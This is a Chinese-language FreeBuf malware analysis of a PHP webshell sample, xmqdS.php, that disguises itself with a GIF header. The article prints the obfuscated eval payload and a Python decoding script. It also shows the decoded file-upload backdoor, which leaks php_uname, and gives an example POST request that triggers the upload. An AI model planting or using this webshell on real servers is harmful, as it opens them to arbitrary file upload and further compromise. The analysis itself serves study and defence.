freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

对某先锋马xmqdS.php的分析报告
2023-10-19 17:11:51

HASH: 14083cf438605d38a206be33542c7a4d48fb67c8ca0cfc165fa5f279a6d55361

最近收到一个木马样本,闲来无事分析一下。

1 样本分析

1.1 沙箱信息

virus total检出率37/61,基本信息:
20231019150800.png
不是新马是老马,最早可以追溯到2013年。
$uploadedName

1.2 功能分析

xmqdS.php内容如下:

GIF89GHZ
<?php eval (gzinflate(base64_decode(str_rot13("ML/EF8ZjRZnsUrk/hVMOJaQZS19pZ3kkVNtX06qEFgnxAct0bH2RGin/zljgT/c2q9
/iih+BI40TaSguWq98TXxc4k0pOiufqT+K7WvibboK8kxCfTyZ6IddrWcAV5mKhyANXlg0FkNPkJ2wTHUTrlQtoJHUjjyFGycunTqKtI8lnvzPLRJ
DT6ZEPUoIKJWkYyewYRFaJxt+epn6S0qs39+umDuTfsEJnSmd3HRWTkCv/WgX54K4g98833KBSUHXv/Ygqsr+k4USOENPRjxM/ZkaAk56eYDM0xJ5
sK552h1khNHKr2lIXpZOhYvSs2VHZh8O8oKbPibYUutxFLYKpCY2KCo8Y7ByDy6D0l8=")))); ?>

此乃webshell,使用了GIF的文件头伪装成GIF,以便文件上传时绕过文件头审查。而且很明显其源码内容多次编码过。

我们尝试还原该木马源码。执行str_rot13后得到:

ZY/RS8MwEMafHex/uIZBWnDMF19cM3xxIAgK06dRStakNpg0oU2ETva/mywtG/p2d9/vvu+OV40GnFthJd98GKkp4x0cBvhsdG+X7JivoobX8xkPsGlM6VqqeJpNI5zXulNAKyt0SxACxW2jGUHGeyDgbWUHwwlSTlphaGdXgV8yaimCYEWQG6MRCHbVXWJxLlrjLESnWkg+rca6F0df39+hzQhGsfRWaFzq3UEJGxPi/JtK54X4t98833XOFHUKi/Ltdfe+x4HFBRACEwkZ/MxnNx56rLQZ0kW5fX552u1xuAUXe2yVKcMBuLiFf2IUMu8B8bXoCvoLHhgkSYLXcPL2XPb8L7OlQl6Q0y8=

下面写脚本还原,这里主要用到base64和zlib的相关函数:

import base64

import zlib

decoded_data = base64.b64decode("ZY/RS8MwEMafHex/uIZBWnDMF19cM3xxIAgK06dRStakNpg0oU2ETva/mywtG/p2d9/vvu+OV40GnFthJd98GKkp4x0cBvhsdG+X7JivoobX8xkPsGlM6VqqeJpNI5zXulNAKyt0SxACxW2jGUHGeyDgbWUHwwlSTlphaGdXgV8yaimCYEWQG6MRCHbVXWJxLlrjLESnWkg+rca6F0df39+hzQhGsfRWaFzq3UEJGxPi/JtK54X4t98833XOFHUKi/Ltdfe+x4HFBRACEwkZ/MxnNx56rLQZ0kW5fX552u1xuAUXe2yVKcMBuLiFf2IUMu8B8bXoCvoLHhgkSYLXcPL2XPb8L7OlQl6Q0y8=")

inflated_data = zlib.decompress(decoded_data, -zlib.MAX_WBITS)

print(inflated_data)

结果输出:

b'echo \'<title>Uploader by ghost-dz</title>\';\r\necho php_uname();\r\necho \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\';\r\necho \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\';\r\nif( $_POST[\'_upl\'] == "Upload" ) {\r\n\tif(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'Upload ok :d !!!\'; }\r\n\telse { echo \'Upload Fail !!!\'; }\r\n}'

格式化一下看得更清楚:

<title>Uploader by ghost-dz</title>
php_uname();
<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">
<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>
if( $_POST['_upl'] == "Upload" ) {
	if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { 
		echo 'Upload ok :d !!!'; 
	}
	else { 
		echo 'Upload Fail !!!'; 
	}
}

分析如下:
给定的 PHP 脚本的作用是创建一个简单的文件上传功能。

  1. echo '<title>Uploader by ghost-dz</title>';: 输出一个带有标题的 HTML 标签,用于显示页面标题。

  2. echo php_uname();: 输出服务器的操作系统信息。

  3. echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';: 输出一个包含文件上传表单的 HTML 表单标签。

  4. echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';: 输出一个文件选择输入框和上传按钮,用于选择和上传文件。

  5. if( $_POST['_upl'] == "Upload" ) {: 检查提交的表单是否包含名为 "_upl" 的值为 "Upload" 的字段。

  6. if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload ok :d !!!'; }: 如果上传操作成功(通过 copy函数将临时文件复制到目标位置),则输出成功的消息。

  7. else { echo 'Upload Fail !!!'; }: 如果上传操作失败,则输出失败的消息。

总体而言,该脚本用于显示一个简单的文件上传页面,用户可以选择文件并将其上传到服务器上。

根据以上内容,可以构造出合适的请求触发木马的上传功能,下面是一个针对该木马的上传请求体示例:

POST /upload.php HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="yourfile.txt"
Content-Type: application/octet-stream

[Binary file data goes here]

----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="_upl"

Upload
----WebKitFormBoundary7MA4YWxkTrZu0gW--

2 总结

该PHP网马伪装成GIF,上传后访问,可以构造一个文件上传界面,便于上传其他木马进行后续攻击,也就是俗称的“先锋马”。这也是我第一次碰见先锋马,还是有点意思的hh。

# php # 木马分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录